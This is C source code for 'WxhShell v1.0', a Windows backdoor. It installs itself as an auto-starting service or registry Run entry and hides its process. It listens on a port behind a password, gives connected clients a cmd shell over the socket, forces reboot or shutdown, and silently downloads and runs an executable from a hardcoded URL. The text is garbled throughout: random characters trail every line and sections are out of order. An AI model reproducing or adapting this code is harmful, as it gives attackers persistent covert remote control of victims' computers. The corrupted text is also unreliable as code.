    if(Boot(SHUTDOWN)) nPgeLG"00  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W Qc>  
    else { =60~UM  
    closesocket(wsh); q(5+xSg"gK  
    ExitThread(0); P0-Fc@&Y  
    } x/ :4 {  
    break; :ECi+DxBK  
    } M8b4NF_&  
  // 获取shell @v*/R%rv t  
  case 's': { =_8Tp~j  
    CmdShell(wsh); `j9$T:`  
    closesocket(wsh); m3g2b _;  
    ExitThread(0); `ZaT}# Y  
    break; M#@aB"@J>  
  } 35*\_9/#  
  // 退出 LN_OD5gZ  
  case 'x': { tB' V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f0LP?]  
    CloseIt(wsh); ,[nm_^R*\  
    break; S-nlr@w8  
    } :9|W#d{o  
  // 离开 j` /&r*zNq  
  case 'q': { [;b=A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kV Rn`n0  
    closesocket(wsh); /+3a n9h  
    WSACleanup(); N6[i{;K@N{  
    exit(1); 5b6s4ZyV  
    break; ,s^<X85gp\  
        } 6dEyv99  
  } PZD>U)M  
  } rB%$;<`/  
=N|kn<h4  
  // 提示信息 ^SfS~G Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +tN &a  
} S2VVv$r_6  
  } Q^Bt1C  
'~wpP=<yyF  
  return; jRpdft  
} VZIR4J[\.  
www`=)A;  
// shell模块句柄 )Os Lrq/  
int CmdShell(SOCKET sock) s/1 #DM"  
{ KIVH!2q;  
STARTUPINFO si; 8S;CFyT\n  
ZeroMemory(&si,sizeof(si)); ]^\8U2q}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; br,+45:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xqHL+W  
PROCESS_INFORMATION ProcessInfo; ; W7Y2Md  
char cmdline[]="cmd"; h.whjiCFa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *xM/ ;)  
  return 0;  [&P`ak  
} Ld|V^9h1;  
)-/gLZsx  
// 自身启动模式 cub <G!K  
int StartFromService(void) 4o9$bv  
{ T_OF7?  
typedef struct ,c)g,J9  
{ UlQQP^Na  
  DWORD ExitStatus; .%0ne:5  
  DWORD PebBaseAddress; Z]:BYX'  
  DWORD AffinityMask; u&TdWZe  
  DWORD BasePriority; :a< hQ|p  
  ULONG UniqueProcessId; g3?U#7i  
  ULONG InheritedFromUniqueProcessId; oaDsk<(j;R  
}   PROCESS_BASIC_INFORMATION; [D'Gr*5~{  
3LlU]  
PROCNTQSIP NtQueryInformationProcess; px9>:t[P  
[B?z1z8l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f e $Wu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oVB"f  
n!N\zx8  
  HANDLE             hProcess; (3EUy"z-  
  PROCESS_BASIC_INFORMATION pbi; M'1HA  
:nQp.N*p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8 HoP( +?  
  if(NULL == hInst ) return 0; qvLDfN  
C 7n Kk/r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !g 0cC.'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XSB8z   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?(im+2  
iY.eJlfH  
  if (!NtQueryInformationProcess) return 0; KC&`x |  
+|C[-W7Sw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :J(sXKr[C  
  if(!hProcess) return 0; @PcCiGZ  
\/Ij7nD`l%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MMD<I6Iyv  
,{j4  
  CloseHandle(hProcess); Gz dgL"M[  
.T3=Eq&"W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z%v6xP.  
if(hProcess==NULL) return 0; jFj~]]j  
6d{j0?mM  
HMODULE hMod; 4S *,\q]q  
char procName[255]; "]]q} O?  
unsigned long cbNeeded; d]M[C[TOX  
2X @G"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %N~;{!![p  
"oE*9J?e  
  CloseHandle(hProcess); '>^Xqn  
"r-l8r,  
if(strstr(procName,"services")) return 1; // 以服务启动 vO$ra5Z  
7>x;B  
  return 0; // 注册表启动 A'DVJ9%xB  
} bc}dYK3$q  
@ u1Q-:  
// 主模块 J#7(]!;F  
int StartWxhshell(LPSTR lpCmdLine) R[ yL _>  
{ z Z%/W)t  
  SOCKET wsl; )bYez  
BOOL val=TRUE; zeTszT)  
  int port=0; 5L &:_iQZy  
  struct sockaddr_in door; IH3FK!>6  
<-|SIF  
  if(wscfg.ws_autoins) Install(); `)tK^[,<W  
98<zCSe\]  
port=atoi(lpCmdLine); VC=6uB  
`$9L^Yg,4  
if(port<=0) port=wscfg.ws_port; 31 ] 7z  
4Vx+[8W  
  WSADATA data; uiK:*[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !Y%D 9  
>0T3'/k<H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #^\}xn" [  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $j !8?  
  door.sin_family = AF_INET; h[l{ 5Z*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U,3d) ]Zy&  
  door.sin_port = htons(port); .S|-4}G(6  
3LrsWAz'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J<_1z':W)  
closesocket(wsl); XZ@ >]P  
return 1; R`C.ha  
} ^I./L)0= }  
{Tx 3$eU  
  if(listen(wsl,2) == INVALID_SOCKET) { K.h]JD]o  
closesocket(wsl); Fd"WlBYy0  
return 1; f%1wMOzx  
} J3\)Jy  
  Wxhshell(wsl); GI4oQcJ  
  WSACleanup(); HWR& C  
&enlAV'#)O  
return 0; *eoq=,O  
jf7pl8gv  
} R`7n^,  
c'lIWuL)  
// 以NT服务方式启动 B'/Icg.T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P6E1^$e  
{ /'NUZ9  
DWORD   status = 0; sbjtL,  
  DWORD   specificError = 0xfffffff; `]LODgk~  
XbXgU#%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *cy.*@d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .9I_N G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r1hD %a  
  serviceStatus.dwWin32ExitCode     = 0; ZE ^u.>5  
  serviceStatus.dwServiceSpecificExitCode = 0; dAwS<5!  
  serviceStatus.dwCheckPoint       = 0; wL'C1Vr  
  serviceStatus.dwWaitHint       = 0; < [ w++F~  
`^f}$R|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a}GAB@YI  
  if (hServiceStatusHandle==0) return; Vd[  2u  
|3|wdzV  
status = GetLastError(); 7rPLnB]  
  if (status!=NO_ERROR) PoY>5  
{ 5EfY9}dl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mN7&%Z  
    serviceStatus.dwCheckPoint       = 0; >2t cEz%  
    serviceStatus.dwWaitHint       = 0; DlS&qFs  
    serviceStatus.dwWin32ExitCode     = status; k2wBy'M .'  
    serviceStatus.dwServiceSpecificExitCode = specificError; j>V"hf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =*[, *A  
    return; mC "7)&,F  
  } 0. (zTJ  
r)%4-XeV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %y3:SUOdx  
  serviceStatus.dwCheckPoint       = 0; 5A;"jp^ Z  
  serviceStatus.dwWaitHint       = 0; K9LEIby  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PgqECd)f  
} |/2LWc?  
{!g?d<*  
// 处理NT服务事件,比如:启动、停止 Xv]*;Bq:SK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hX %s]"  
{ TR|;,A[%v#  
switch(fdwControl) 4KZSL: A  
{ >5df@_'  
case SERVICE_CONTROL_STOP: )e#fj+>x)  
  serviceStatus.dwWin32ExitCode = 0; `GP3 D~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F1/6&u9I  
  serviceStatus.dwCheckPoint   = 0; 4g S[D  
  serviceStatus.dwWaitHint     = 0; 7!mJhgGc  
  { @<VG8{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ltP   
  } .k p $oAL  
  return; Sq.9-h%5  
case SERVICE_CONTROL_PAUSE: *j/ uihY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0U9+  
  break; s%FP6u7[i  
case SERVICE_CONTROL_CONTINUE: E]1\iV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $To 4dJb  
  break; =tLU]  
case SERVICE_CONTROL_INTERROGATE: %{=4Fa(Jux  
  break; y}Ck zD  
}; i:\bqK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6_pDe  
} +|)zwe  
$/MY,:*e  
// 标准应用程序主函数 T27:"LVw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K@y-)I2]  
{ a\.//?  
@ 8A{ 9i  
// 获取操作系统版本 Hu[8HzJo  
OsIsNt=GetOsVer(); r .{rNR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $Gr4sh!cE  
}FuVY><l  
  // 从命令行安装 v4X_v!CQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); _QD/!~O  
yIM.j;5:~5  
  // 下载执行文件 [))gn  
if(wscfg.ws_downexe) { aS3P(s L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >9<_s ^_  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6R0D3kW  
} ojiM2QT}m  
YNuewD  
if(!OsIsNt) { 1VRqz5  
// 如果时win9x,隐藏进程并且设置为注册表启动 [B.W1 GL!  
HideProc(); @2QJm  
StartWxhshell(lpCmdLine); wEZqkV  
} p!.  /  
else (D:KqGqoT  
  if(StartFromService()) 6(!,H<bON  
  // 以服务方式启动 39'X$!  
  StartServiceCtrlDispatcher(DispatchTable); 7)g;Wd+H  
else Iwnj'R7:  
  // 普通方式启动 X%RQB$  
  StartWxhshell(lpCmdLine); -i| /JH  
g-4gI\  
return 0; 4;B= Qoxe  
} O@G<B8U,K  
1uKD&k%q  
= ?y^O0v  
NdaVT5RB  
=========================================== I8XGU)  
yz54:q?  
c%o5 E%  
I^6c 0`  
L5hQdT/b$  
7{?lEQ&UE  
" BBaHM sr  
54, Ju'r  
#include <stdio.h> BA`kxL/x  
#include <string.h> \ x>NB  
#include <windows.h> }xpe  
#include <winsock2.h> g)2m$#T&s  
#include <winsvc.h> i4 y(H  
#include <urlmon.h> Lh8# I&x  
THegPD67J  
#pragma comment (lib, "Ws2_32.lib") p\4h$."  
#pragma comment (lib, "urlmon.lib") NZC<m$')  
U"jUMOMZ;  
#define MAX_USER   100 // 最大客户端连接数 <m|FccvQ  
#define BUF_SOCK   200 // sock buffer Vs2v j  
#define KEY_BUFF   255 // 输入 buffer MVu[gB  
<v1_F;{n  
#define REBOOT     0   // 重启 EBN]>zz  
#define SHUTDOWN   1   // 关机 C.B8 J"T-  
#d7)$ub  
#define DEF_PORT   5000 // 监听端口 rd f85%%7  
?j},O=JFn  
#define REG_LEN     16   // 注册表键长度 {EiG23!qV  
#define SVC_LEN     80   // NT服务名长度 }W Bm%f  
T%z!+/=&^  
// 从dll定义API *X"F:7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2n"*)3Qj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X.r!q1_c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +'{:zN5m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3R Y|l?n>  
J:M<9W  
// wxhshell配置信息 FQv02V+&<  
struct WSCFG { d1C/u@8^  
  int ws_port;         // 监听端口 )%-\hl]  
  char ws_passstr[REG_LEN]; // 口令 4cv|ok8P  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]lG_rGw  
  char ws_regname[REG_LEN]; // 注册表键名  xLGTnMYd  
  char ws_svcname[REG_LEN]; // 服务名 RMs1{64:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rqv+N]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T`0`]z!~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mz% d_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]xVL11p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SO8|]Fk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *o2_EqXL*  
-f 'q  
}; 8k*k  
]c~rPi  
// default Wxhshell configuration n^I|}u\  
struct WSCFG wscfg={DEF_PORT, ^O,6(@>  
    "xuhuanlingzhe", xq#]n^  
    1, ) 2*|WHO  
    "Wxhshell", $$)<(MP3  
    "Wxhshell", .WPuQZ!  
            "WxhShell Service", )Uoe ~\  
    "Wrsky Windows CmdShell Service", /Wta$!X{-  
    "Please Input Your Password: ", pB{ f-M:D  
  1, b_"V%<I  
  "http://www.wrsky.com/wxhshell.exe", |<5J  
  "Wxhshell.exe" ~T{d9yNW1  
    }; UVvt&=+4  
~"hAb2  
// 消息定义模块 hPX2 Bp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ))we\I__8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5,I*F9[3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u]+ +&~i  
char *msg_ws_ext="\n\rExit."; Vo58Nz:%  
char *msg_ws_end="\n\rQuit."; q0xE&[C[M  
char *msg_ws_boot="\n\rReboot..."; Luu-c<*M  
char *msg_ws_poff="\n\rShutdown..."; wMR[*I/  
char *msg_ws_down="\n\rSave to "; R?FtncL%D  
YP@ ?j  
char *msg_ws_err="\n\rErr!"; {U2| ):  
char *msg_ws_ok="\n\rOK!";  &~f*q?xR  
Ky{I&}+R|  
char ExeFile[MAX_PATH]; M KE[Yb?  
int nUser = 0; DNTRLIKa  
HANDLE handles[MAX_USER]; ,YuWz$aF{  
int OsIsNt; +HVG5l  
wNlV_  
SERVICE_STATUS       serviceStatus; 'e8d["N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (Nve5  
E].a|4sh  
// 函数声明 IcNIuv  
int Install(void); l.LFlwt  
int Uninstall(void); -a#AE|`  
int DownloadFile(char *sURL, SOCKET wsh); +[go7A$5  
int Boot(int flag); j^R~ Lt4  
void HideProc(void); W(3~F2  
int GetOsVer(void); )SO1P6  
int Wxhshell(SOCKET wsl); V3Rnr8  
void TalkWithClient(void *cs);   ]q\=  
int CmdShell(SOCKET sock); '$&(+>)z `  
int StartFromService(void); 1pBsr(  
int StartWxhshell(LPSTR lpCmdLine); 3  %{'Uh,  
%nK 15(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S7~l%G>]b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0yEyt7 ~@  
)SZ,J-H08w  
// 数据结构和表定义 5=;I|l,  
SERVICE_TABLE_ENTRY DispatchTable[] = `J;/=tf09  
{ d%|#m)  
{wscfg.ws_svcname, NTServiceMain}, !D]6Cq  
{NULL, NULL} d3q/mg5a  
}; 4pHPf<6  
nV6g]#~ @  
// 自我安装 g960;waz3  
int Install(void) ri_6 wbPp  
{ `oI/;&  
  char svExeFile[MAX_PATH]; X2mm'J DwK  
  HKEY key; .J! $,O@  
  strcpy(svExeFile,ExeFile); Q $,kB<M  
OCoRcrAx  
// 如果是win9x系统,修改注册表设为自启动 _TeRsA  
if(!OsIsNt) { 70l;**"4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~$`YzK^*X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p!5JO4F$  
  RegCloseKey(key); OKH~Y-%<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { InGbV+ I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yeh adm\  
  RegCloseKey(key); k*+ZLrT  
  return 0; oXOO 10  
    } 4Og GZ  
  } in|7ucSlg  
} At_Y$N:  
else { s)ajy^6'M  
1$!K2=%OXj  
// 如果是NT以上系统,安装为系统服务 @9Pn(fd]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 61;5Yo  
if (schSCManager!=0) Wn</",Gf  
{ 1OGv+b)  
  SC_HANDLE schService = CreateService g KY ,G  
  ( U@ QU8  
  schSCManager, 4BL,/(W] x  
  wscfg.ws_svcname, wOl-iN=  
  wscfg.ws_svcdisp, SYhspB  
  SERVICE_ALL_ACCESS, +as\>"Cj+2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f v7g93  
  SERVICE_AUTO_START, ml \yc'  
  SERVICE_ERROR_NORMAL, PX{~!j%n  
  svExeFile, 7)X&fV6<8  
  NULL, Q`fA)6U  
  NULL, Bc ,z]  
  NULL, !6`nN1A  
  NULL, a5+v)F/=  
  NULL [t\Mu}b  
  ); 3cQmxp2*  
  if (schService!=0) EJ|ZZYke!  
  { !ZcA Ltq  
  CloseServiceHandle(schService); Cjb p-  
  CloseServiceHandle(schSCManager); Sgk{NM7|k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %R5MAs&-5  
  strcat(svExeFile,wscfg.ws_svcname); -]MP,P%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .VV!$; FB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -5B([jHgR  
  RegCloseKey(key); 43]&SXprH  
  return 0; oU6g5  
    } ~Q\uP(!D  
  } { J%$.D(/  
  CloseServiceHandle(schSCManager); f3&//h8  
} +f~3FXM  
} aQuy*\$$  
;a77YL TQ  
return 1; &3/H P)*<]  
} YLd%"H $n  
`I<|*vW u  
// 自我卸载 #FM 'S|  
int Uninstall(void) E8 )*HOT_T  
{ ^^(ZK 6d  
  HKEY key; _!Q\Xn  
-$p-o Z)  
if(!OsIsNt) { ZdzGJ[$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4v JIO{m  
  RegDeleteValue(key,wscfg.ws_regname); +Uk.|@b=-V  
  RegCloseKey(key); U7'oI;C$e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wB GxJ\+M  
  RegDeleteValue(key,wscfg.ws_regname); u _^=]K;  
  RegCloseKey(key); N%i<DsK.u6  
  return 0; 9~ af\G  
  } {u][q &n  
} id9T[^h  
} +u.L6GcB  
else { f%l#g]]  
: s3Vl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9e6{(  
if (schSCManager!=0) 0w&1wee(  
{ >U.uRq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8#AXK{  
  if (schService!=0) PUo&>  
  { . 2Q/D?a  
  if(DeleteService(schService)!=0) { q+Q)IVaU81  
  CloseServiceHandle(schService); ,g.=vQm:?  
  CloseServiceHandle(schSCManager); h2snGN/{Hb  
  return 0; t)+dW~g  
  } &(7Io?  
  CloseServiceHandle(schService); zYJxoC{  
  } '^AXUb  
  CloseServiceHandle(schSCManager); (J#3+I  
} ?2Dz1#%D  
} Kj5f:{Ur  
*a@UV%u  
return 1; )9,"~P2[R  
} 9_$Odc%]  
`Nr7N#g+u  
// 从指定url下载文件 Qgi:q  
int DownloadFile(char *sURL, SOCKET wsh) 6U]7V  
{ 6<6_W#  
  HRESULT hr; iDN,}:<V  
char seps[]= "/"; Grv|Wuli  
char *token; m#p^'}]!;  
char *file; [ V~bo/n  
char myURL[MAX_PATH]; |-<L :%  
char myFILE[MAX_PATH]; 0^^i=iE-u  
YO61 pZY  
strcpy(myURL,sURL); JASn\z  
  token=strtok(myURL,seps); ?a(3~dh|  
  while(token!=NULL) ay.IKBXc  
  { $r_gFv  
    file=token; g#*N@83C  
  token=strtok(NULL,seps); #a:C=GV;4  
  } N<%,3W_-_  
:Tl?yG F  
GetCurrentDirectory(MAX_PATH,myFILE); N<WFe5  
strcat(myFILE, "\\"); tDVdl^#  
strcat(myFILE, file); 6R j X  
  send(wsh,myFILE,strlen(myFILE),0); R PQ)0.O7  
send(wsh,"...",3,0);  X'<xw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;C%EF  
  if(hr==S_OK) ,)G,[ih  
return 0; b*i+uV?  
else &kBs'P8>  
return 1; !8].Z"5J  
^(3k uF  
} `Ea3z~<7M  
?;Qk!t2U  
// 系统电源模块 :SGQ4@BV  
int Boot(int flag) C~*m&,@TT^  
{ B*7o\~5  
  HANDLE hToken; hFv}JQJw<  
  TOKEN_PRIVILEGES tkp; }rZp(FG@*  
g<Xwk2_=g  
  if(OsIsNt) { 2} -W@R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d8I/7 ;F X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }z #8vE;  
    tkp.PrivilegeCount = 1; 'cv/"26#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bcG-js-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D?R  z|  
if(flag==REBOOT) { cCIEG e6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mLO6`]p{H  
  return 0; tK*f8X+q  
} ^=j$~*(LmX  
else { lVHJ}(<'p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YzqhFFaj.  
  return 0; cA kw5}P   
} ;d4_l:9p  
  } ;f\0GsA#  
  else { CDhk!O..  
if(flag==REBOOT) { 5o*x?P!$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %qMk&1  
  return 0; iuEdm:pW  
} "]<Ut{Xb  
else { .xx9tP}Xy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @B6[RZR  
  return 0; ;N|6C+y  
} \=JKeL|6[S  
} J$o J  
ge|}'QKow  
return 1; 4kiu*T  
} eJ'ojc3  
jiat5  
// win9x进程隐藏模块 p5\b&~ g  
void HideProc(void) tx.sUu6  
{ apXq$wWq{D  
'Tn$lh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]So%/rOvX  
  if ( hKernel != NULL ) Qa=;Elp:[  
  { G(>a LF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6*E 7}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s$;v )w$  
    FreeLibrary(hKernel); UZ$p wjC  
  } -9mh|&z`  
BshS@"8r  
return; 4{TUoI6ii  
} rlq8J/0/+  
.dV!du  
// 获取操作系统版本  6O}r4*  
int GetOsVer(void) c72/e7gV  
{ c!c!;(  
  OSVERSIONINFO winfo; Rs dACP   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b3ZPlLx6  
  GetVersionEx(&winfo); ?^5x d1>E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <q|19fH-5  
  return 1; Kf*+Ilq%L  
  else *-7O| ''  
  return 0; ?AEpg.9R-  
} R[b?kT-%  
AbB%osz}Ed  
// 客户端句柄模块 >.A{=?   
int Wxhshell(SOCKET wsl) iH2|w  
{ {pqm&PB04  
  SOCKET wsh; 8r5j~Df  
  struct sockaddr_in client; yR&E6o.$z  
  DWORD myID; "2)T=vHi#  
6gv.n  
  while(nUser<MAX_USER) (Q@+W |~  
{ U;_ ;_  
  int nSize=sizeof(client); g)zy^ aDf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I$YF55uB  
  if(wsh==INVALID_SOCKET) return 1; n%Fa;!S  
\(Iy>L.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a}yJ$6xi  
if(handles[nUser]==0) {x+jFj.  
  closesocket(wsh); _+GCd8d  
else d(tq;2-  
  nUser++; W];4P=/  
  } VGSe<6Hh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G2mv6xK'  
a 3H S!/  
  return 0; "|hmiMdGB  
} 2`; 0y M  
Y!KGJ^.mF  
// 关闭 socket b[$>HB_Na  
void CloseIt(SOCKET wsh) E 0YXgQa  
{  l)?c3  
closesocket(wsh); ]5^u^  
nUser--; "ey~w=B$M  
ExitThread(0); DpA)Z ??  
} yY!jkRq%w  
: "UBeo<Z  
// 客户端请求句柄 Cu}Rq!9i  
void TalkWithClient(void *cs) `.n[G~*w~1  
{ E@?jsN7  
" `lRX  
  SOCKET wsh=(SOCKET)cs; RAe:$Iv$!v  
  char pwd[SVC_LEN]; PS>k67sI  
  char cmd[KEY_BUFF]; ex-`+cF  
char chr[1]; b*$^8%  
int i,j; }hGbF"clqg  
419t"1b  
  while (nUser < MAX_USER) { TygR G+G-  
>8ePx,+!  
if(wscfg.ws_passstr) { KNV$9&Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IuPwFf)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ztf(.~  
  //ZeroMemory(pwd,KEY_BUFF); es.`:^A  
      i=0; 2lQ'rnqS)  
  while(i<SVC_LEN) { rK];2[U  
+_+}^Nf]Y3  
  // 设置超时 R!:1{1  
  fd_set FdRead; k+&|*!j  
  struct timeval TimeOut; %hY+%^k.  
  FD_ZERO(&FdRead); }lhJt|qc  
  FD_SET(wsh,&FdRead); /q8n_NR  
  TimeOut.tv_sec=8; BH=vI<D  
  TimeOut.tv_usec=0; eI- ~ +.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $L?stgU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &DgIykqN  
't wMvm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WO]dWO6Mm  
  pwd=chr[0]; m~# O ~)  
  if(chr[0]==0xd || chr[0]==0xa) { zp d4uto5  
  pwd=0; A\WgtM  
  break; %6 Bt%H  
  } fuQ? @F  
  i++; *8Gx_$t&  
    } d"$ \fL  
R:11w#m7w  
  // 如果是非法用户,关闭 socket HdVGkv/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); * ,,D%L  
} 2&dtOyxo>  
)PZ'{S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e KET8v[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kg9REL@,s  
k0%4&pU  
while(1) { ky,+xq  
&FGz53fd4  
  ZeroMemory(cmd,KEY_BUFF); \07 s'W U  
8eL[ ,uw  
      // 自动支持客户端 telnet标准   V"gnG](2l  
  j=0; &AC-?R|Dp  
  while(j<KEY_BUFF) { ;[&g`%-H<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a Z ^SK|E  
  cmd[j]=chr[0]; 7|\[ipVX:3  
  if(chr[0]==0xa || chr[0]==0xd) { `XQM)A  
  cmd[j]=0; 74QWGw`,  
  break; n ,`!yw  
  } iz>a0~(K  
  j++; 6X)8vQH  
    } C)Mh  
G.1pg]P!  
  // 下载文件 M++*AZ  
  if(strstr(cmd,"http://")) { A-uEZj_RD=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 87y$=eZ  
  if(DownloadFile(cmd,wsh)) Jo_h?{"L{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?:~ `?  
  else wC;N*0Th  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]e 81O#t3  
  } (',G Ako  
  else { az\ ;D\\  
&!a[rvtZ+  
    switch(cmd[0]) { Jt@7y"<  
  gQh;4v  
  // 帮助 Gb\}e}TB[  
  case '?': { p<tj6O  
